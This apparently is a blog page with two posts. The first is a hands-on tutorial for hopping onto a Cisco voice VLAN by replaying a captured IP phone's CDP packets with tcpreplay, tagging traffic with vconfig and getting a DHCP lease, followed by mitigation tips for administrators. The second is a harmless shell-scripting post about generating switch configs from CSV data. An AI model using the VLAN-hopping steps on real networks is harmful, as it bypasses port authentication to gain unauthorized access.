VLAN Hopping on Cisco Voice-enabled Switch Ports

Posted by admin on June 15, 2013 under Tech Tips | 5 Comments to Read

There’s a number of reasons why someone would want to gain unauthorized access to your network’s voice VLAN, and as you can guess, none of them are any good. By strategically replaying CDP packets used by Cisco VoIP phones, and configuring your computer’s NIC to use 802.1q tagged packets, you can gain full network access on a Cisco switch port configured with a Voice VLAN. Yes… even those protected by 802.1x authentication. In the following how-to, we’ll demonstrate how exploit this behavior using Linux and freely available open source software.

Prerequisites
First, install two packages from your repositories. The vlan package adds a kernel module required for 802.1q VLAN tagging and the vconfig tool used to configure VLAN sub-interfaces. tcpreplay is a packet injection utility that we will use to replay CDP packets into the network from a pcap file.

sudo apt-get install vlan tcpreplay
sudo modprobe 8021q

The second command loads the 8021q kernel module. If you want the module loaded at boot-up, remember to add it to /etc/modules or the appropriate file for your GNU/Linux distribution.

Discover Voice-enabled Switch Port Information

Plug into the switched network, bypassing the VoIP phone, and perform a packet capture to inspect the switches CDP announcements. If the switch port is configured with a Voice VLAN, the configured VLAN identifier will be advertised. From our output below, the switch says we are plugged into port number FastEthernet0/24 and the Voice VLAN number is 64.

sudo tcpdump -s 0 -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc
17:17:13.215645 CDPv2, ttl: 180s, checksum: 692 (unverified), length 404
Device-ID (0x01), length: 26 bytes: 'labswitch.example.com'
Version String (0x05), length: 186 bytes:
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(50)SE1, RELEASE SOFTWARE (fc2)
Copyright (c) 1986-2009 by Cisco Systems, Inc.
Compiled Mon 06-Apr-09 08:36 by amvarma
Platform (0x06), length: 21 bytes: 'cisco WS-C2960-24PC-L'
Address (0x02), length: 13 bytes: IPv4 (1) 10.1.1.1
Port-ID (0x03), length: 16 bytes: 'FastEthernet0/24'
Capability (0x04), length: 4 bytes: (0x00000028): L2 Switch, IGMP snooping
Protocol-Hello option (0x08), length: 32 bytes:
VTP Management Domain (0x09), length: 9 bytes: 'LABVTP'
Native VLAN ID (0x0a), length: 2 bytes: 1
Duplex (0x0b), length: 1 byte: full
ATA-186 VoIP VLAN request (0x0e), length: 3 bytes: app 1, vlan 64
AVVID trust bitmap (0x12), length: 1 byte: 0x00
AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00
Management Addresses (0x16), length: 13 bytes: IPv4 (1) 10.1.1.1
unknown field type (0x1a), length: 12 bytes:
0x0000: 0000 0001 0000 0000 ffff ffff

Capture a Sample VoIP phone CDP Packet

Plug the Cisco VoIP phone back into the switch port and wait for it to come back online. Plug your laptop back into the data port of the phone in your typical daisy-chain topology. Use tcpdump again to capture a single CDP packet, saving it to a capture file. If you’re plugged into the phone, the only CDP packets you should see are those sent by the phone. These CDP packets should be neatly constructed with all of the appropriate voice VLAN values. From the switches perspective (and network administrators monitoring CDP tables), it will look exactly as if a phone is connected to the port, down to the phone model and serial number. 😉

The following tcpdump filter looks for the CDP destination MAC address, stops after one packet, and saves it to a file called cdp-packet.cap. You will use this CDP packet capture file in your replay attack.

sudo tcpdump -s 0 -w cdp-packet.cap -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
1 packets captured
1 packets received by filter
0 packets dropped by kernel

Verify the CDP packet details by reading the capture file with tcpdump. The following shows that everything is in order, including the VoIP VLAN Request for VLAN 64, which highlighted below.

sudo tcpdump -vr cdp-packet.cap
reading from file cdp-packet.cap, link-type EN10MB (Ethernet)
09:44:42.263551 CDPv2, ttl: 180s, checksum: 692 (unverified), length 125
Device-ID (0x01), length: 15 bytes: 'SEP0015626A51E9'
Address (0x02), length: 13 bytes: IPv4 (1) 10.1.64.10
Port-ID (0x03), length: 6 bytes: 'Port 2'
Capability (0x04), length: 4 bytes: (0x00000490): L3 capable
Version String (0x05), length: 12 bytes:
P00308010100
Platform (0x06), length: 19 bytes: 'Cisco IP Phone 7940'
Native VLAN ID (0x0a), length: 2 bytes: 1
Duplex (0x0b), length: 1 byte: full
ATA-186 VoIP VLAN request (0x0e), length: 3 bytes: app 1, vlan 64
AVVID trust bitmap (0x12), length: 1 byte: 0x00
AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00

Replay CDP Packets to Spoof a Cisco VoIP Phone

You’ll want to unplug the phone from the switch and plug your computer into the switch port directly. Using the tcpreplay command, you can read and inject the contents of the packet capture file from the previous step, effectively spoofing the Cisco VoIP phone. When the switch receives this packet, the voice VLAN will be available to use.

sudo tcpreplay -i eth0 cdp-packet.cap
Actual: 1 packets (147 bytes) sent in 0.06 seconds
Rated: 2450.0 bps, 0.02 Mbps, 16.67 pps
Statistics for network device: eth0
Attempted packets: 1
Successful packets: 1
Failed packets: 0
Retried packets (ENOBUFS): 0
Retried packets (EAGAIN): 0

Once the Voice VLAN is enabled, you will only have a limited amount of time to use it. A typical Cisco phone will send a CDP packet every 60 seconds, so you can simulate this behavior by running your command in a timed loop. I prefer to use the watch command, and leave it running in a terminal until it’s no longer needed. Using the command below, the CDP packet will be replayed every 60 seconds.

sudo watch -n 60 "tcpreplay -i eth0 cdp-packet.cap"

Access Voice VLAN with 802.1q Sub-interface

In order for you to access the voice VLAN, you must add a sub-interface for eth0 using the vconfig command. The following example uses vconfig to add a sub-interface that tags packets to access VLAN 64. The sub-interface will be named eth0.64 as shown below.

sudo vconfig add eth0 64
Added VLAN with VID == 64 to IF -:eth0:-

ifconfig eth0.64
eth0.64 Link encap:Ethernet HWaddr 00:26:b9:bc:5b:68
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:95 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:4370 (4.3 KB) TX bytes:0 (0.0 B)

At this point you can access the VLAN in any fashion you see fit. For example, you can obtain an IP address via DHCP and test communication by pinging your default gateway as shown below.

sudo dhclient3 eth0.64
Listening on LPF/eth0.64/00:26:b9:bc:5b:68
Sending on LPF/eth0.64/00:26:b9:bc:5b:68
Sending on Socket/fallback
DHCPDISCOVER on eth0.64 to 255.255.255.255 port 67 interval 3
DHCPOFFER of 10.1.64.11 from 10.1.64.5
DHCPREQUEST of 10.1.64.11 on eth0.64 to 255.255.255.255 port 67
DHCPACK of 10.1.64.11 from 10.1.64.5
bound to 10.1.64.11 -- renewal in 35707 seconds.

ping -c 4 10.1.64.1
PING 10.1.64.1 (10.1.64.1) 56(84) bytes of data.
64 bytes from 10.1.64.1: icmp_seq=1 ttl=64 time=2.88 ms
64 bytes from 10.1.64.1: icmp_seq=2 ttl=64 time=2.85 ms
64 bytes from 10.1.64.1: icmp_seq=3 ttl=64 time=2.84 ms
64 bytes from 10.1.64.1: icmp_seq=4 ttl=64 time=2.30 ms

--- 10.1.64.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 2.303/2.721/2.888/0.244 ms

Mitigation… Aww, Bummer…

Unfortunately, there is currently no way to prevent this method of unauthorized voice VLAN access. Remember, this “vulnerability” is really just a limitation of the voice VLAN negotiation process. It’s not new (see the following Cisco security bulletin from 2005), but I suspect it will become a bigger problem as more organizations begin to deploy VoIP with little thought going into layered defenses and access protection.

However, for network administrators that wish to limit the threat associated to unauthorized voice VLAN access, consider the following recommendations.

1. Enable security features that prevent layer-2/3 man-in-the-middle and other nefarious attacks. DHCP Snooping, Dynamic ARP Inspection, Port-Security, and IP Source Guard will help in keeping attackers from intercepting voice traffic, and a number of other threats associated with layer-2/3 spoofing.

2. Add VLAN access lists and Layer-3 boundary ACL’s limiting clients on the Voice VLAN to access only resources required for VoIP functionality. By limiting voice VLAN communication to the minimum required protocols and port numbers, you will greatly reduce the attack surface for the rest of your network.

3. Apply QoS policies that limit the effects of attempted Denial of Service attacks against the VoIP infrastructure. Auto QoS and even simple Storm Control features can help limit traffic, and actively notify administrators of abnormal traffic patterns.

4. Protect your IP telephony system at the application layer by requiring VoIP phone authentication and encryption.

There are some really cool projects dedicated to exploiting this vulnerability and similar weaknesses by other manufacturers. One such tool called VoIP Hopper completely automates the above process. It even comes with it’s own built-in DHCP client, and is kind enough to automatically generate pre-constructed CDP packets for you.

I hope you have found this tutorial useful. Feel free to add comments, suggestions, or drop me an email for confidential questions!

Generate Text From Templates, Scripts and CSV Data

Posted by admin on March 6, 2008 under Tech Tips | 11 Comments to Read

If you are working on a project requiring that you generate hundreds or thousands of similar but unique text files, you probably will be looking for some type of task automation process. For example, a recent project required that we configure hundreds of Cisco switch configuration files, each being uniquely individualized with IP addresses, OSPF configurations, random passwords, etc. We also needed to configure an import data file for over a thousand DHCP ranges, obviously not something we felt like doing by hand.

For tasks like these, the best tools of the trade are text file templates that represent what the finished product should look like, spreadsheets for basic math and to create import data in the form of CSV’s (comma-separated values), and GNU/Linux shell scripting to pull it all together.

The process can be summarized as follows:

1. Use a template text file and identify the parts you wish to customize with easy to recognize variables.

2. Generate unique data in the CSV format that will serve to populate the template.

3. Run a Linux shell script that performs a search and replace function against the template, and outputs new text files with the values obtained from the CSV file.

In the following example, we will work with a basic Cisco switch configuration file that is condensed for brevity. Notice, we clearly label text within the template that we will use to search for and replace with values obtained from the CSV data. These variables are VAR_HOSTNAME, VAR_IPADDR, VAR_NETMASK, VAR_OSPF_KEY, VAR_TACACS_KEY.

Sample Template: import-template.txt

!
hostname VAR_HOSTNAME
!
interface Vlan100
ip address VAR_IPADDR VAR_NETMASK
ip ospf message-digest-key 1 md5 VAR_OSPF_KEY
!
tacacs-server host 1.1.1.1
tacacs-server key VAR_TACACS_KEY
!

The CSV file in our example is organized as follows:
Field 1=”Host name”, Field 2=”IP address”, Field 3=”Subnet Mask”, Field 4=”OSPF key”, and Field 5=”TACACS key”

Sample Data CSV File: import-data.txt

switch-01,10.1.1.1,255.255.255.0,ospf-key-1,tacacs-key-1
switch-02,10.1.1.2,255.255.255.0,ospf-key-2,tacacs-key-2
switch-03,10.1.1.3,255.255.255.0,ospf-key-3,tacacs-key-3
switch-04,10.1.1.4,255.255.255.0,ospf-key-4,tacacs-key-4
switch-05,10.1.1.5,255.255.255.0,ospf-key-5,tacacs-key-5

Here’s how we pull all of this together using a Linux shell script. First, we define the location of our CSV import file. Next we run a “for loop” that reads the CSV line by line, assigning each data value to a variable name. Lastly, the script concatenates the template, replacing each defined search result with values from the CSV, and sends the output to individualized text files. These text files are appropriately named according the unique value, which in this case is the switches host name.

Import Shell Script: import-script.sh

#!/bin/bash
IMPORT="./data/import-data.txt"
TEMPLATE="./data/import-template.txt"
 
for i in `cat ${IMPORT}`
do
VAR_HOSTNAME=`echo $i | awk -F, '{print $1}'`
VAR_IPADDR=`echo $i | awk -F, '{print $2}'`
VAR_NETMASK=`echo $i | awk -F, '{print $3}'`
VAR_OSPF_KEY=`echo $i | awk -F, '{print $4}'`
VAR_TACACS_KEY=`echo $i | awk -F, '{print $5}'`
cat $TEMPLATE | sed -e s/VAR_HOSTNAME/$VAR_HOSTNAME/g 
-e s/VAR_IPADDR/$VAR_IPADDR/g 
-e s/VAR_NETMASK/$VAR_NETMASK/g 
-e s/VAR_OSPF_KEY/$VAR_OSPF_KEY/g 
-e s/VAR_TACACS_KEY/$VAR_TACACS_KEY/g 
| tee ./output/$VAR_HOSTNAME.txt 1>/dev/null
done

Step By Step:

To follow along, you can download the above mentioned files, or copy and paste them from the text above. Place the import-data.txt and import-template.txt files in a new directory called “data”, create a directory called “output”, and make the import-script.sh file executable. The final step of course is to run the import script. Here is a step by step to get you going.

wget http://www.savvyadmin.com/download/import-script/import-script.sh
wget http://www.savvyadmin.com/download/import-script/import-data.txt
wget http://www.savvyadmin.com/download/import-script/import-template.txt
mkdir data output
mv ./import-template.txt ./import-data.txt ./data/
chmod 755 ./import-script.sh
./import-script.sh

After you run the script successfully, list the “output” directory to see the newly created files.

ls -l output/
total 20
-rw-r--r-- 1 gmendoza gmendoza 184 2008-03-06 21:33 switch-01.txt
-rw-r--r-- 1 gmendoza gmendoza 184 2008-03-06 21:33 switch-02.txt
-rw-r--r-- 1 gmendoza gmendoza 184 2008-03-06 21:33 switch-03.txt
-rw-r--r-- 1 gmendoza gmendoza 184 2008-03-06 21:33 switch-04.txt
-rw-r--r-- 1 gmendoza gmendoza 184 2008-03-06 21:33 switch-05.txt

The contents of the first file in the example can be viewed as follows. Note that all the variables from the template have been replaced appropriately by the data from the CSV.

cat output/switch-01.txt
!
hostname switch-01
!
interface Vlan100
ip address 10.1.1.1 255.255.255.0
ip ospf message-digest-key 1 md5 ospf-key-1
!
tacacs-server host 1.1.1.1
tacacs-server key tacacs-key-1
!

I certainly hope this gives you some great ideas on how to make effective use of Linux scripts to make large amounts of work into manageable tasks. Comments and questions are welcome.